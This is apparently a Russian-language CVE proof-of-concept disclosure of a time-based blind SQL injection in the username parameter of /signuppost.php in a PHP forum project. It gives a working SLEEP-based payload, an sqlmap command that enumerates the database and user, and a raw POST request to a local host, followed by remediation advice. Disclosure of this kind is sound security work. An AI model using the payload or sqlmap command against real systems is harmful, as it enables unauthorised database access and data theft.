
CVE-poc
CVE-poc
SQL-инъекция
SQL-инъекция была обнаружена в файле /signuppost.php проекта “Technical Forum Using PHP Source Code”. Уязвимость вызвана тем, что злоумышленник может внедрить вредоносный код через параметр имени пользователя (login username) и использовать этот параметр напрямую в SQL-запросе без проверки. Это позволяет злоумышленнику подделывать входные значения для управления SQL-запросами и выполнения несанкционированных действий.
Злоумышленник может использовать эту SQL-инъекцию для получения несанкционированного доступа к базе данных, раскрытия конфиденциальных данных, изменения данных, полного контроля над системой или даже нарушения работы сервисов, что представляет серьезную угрозу безопасности системы и непрерывности бизнеса.
Vulnerability Name: Username Parameter
Payload
Parameter: Username (POST)
Type: Time Blind Injection Time Blind Injection
Title: Time Blind Injection Time Blind Injection
Payload: username=admin' AND (SELECT 9335 FROM (SELECT(SLEEP(5)))NwOL) AND 'SGvn' = 'SGvn'
Screenshot of the specific information obtained when testing and running the sqlmap utility

//sqlmap
python sqlmap.py -r url.txt --level 1 --risk 1 --current-db --current-user --is-dba
poc
POST /signuppost.php HTTP/1.1
Host: 127.0.0.1:8083
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
*/*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
Origin: http://127.0.0.1:8083
Connection: keep-alive
Referer: http://127.0.0.1:8083/signup.php
Cookie: PHPSESSID=ln2b6eftt76aon56uvppiurao3
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
name=123&gender=male&email=13849221%40qq.com&contact=123123&username=admii&password=admin%40123&password_check=admin%40123&submit=SignUp
Использование подготовленных выражений и привязка параметров Подготовленные выражения предотвращают SQL-инъекции, отделяя SQL-код от вводимых пользователем данных. При использовании подготовленных выражений введенные пользователем значения рассматриваются как чистые данные и не интерпретируются как SQL-код.
Проверка и фильтрация входных данных Строго проверяйте и фильтруйте вводимые пользователем данные, чтобы убедиться, что они соответствуют ожидаемому формату.
Минимизация привилегий пользователей базы данных Убедитесь, что учетные записи, используемые для подключения к базе данных, имеют минимально необходимые привилегии. Избегайте использования учетных записей с более высокими привилегиями (например, “root” или “admin”) для повседневных операций.
Проведение регулярных аудитов безопасности Регулярно проводите аудиты безопасности кода и системы, чтобы своевременно выявлять и устранять потенциальные уязвимости.
Следуя этим рекомендациям, вы сможете значительно повысить безопасность ваших приложений и снизить риски, связанные с SQL-инъекциями.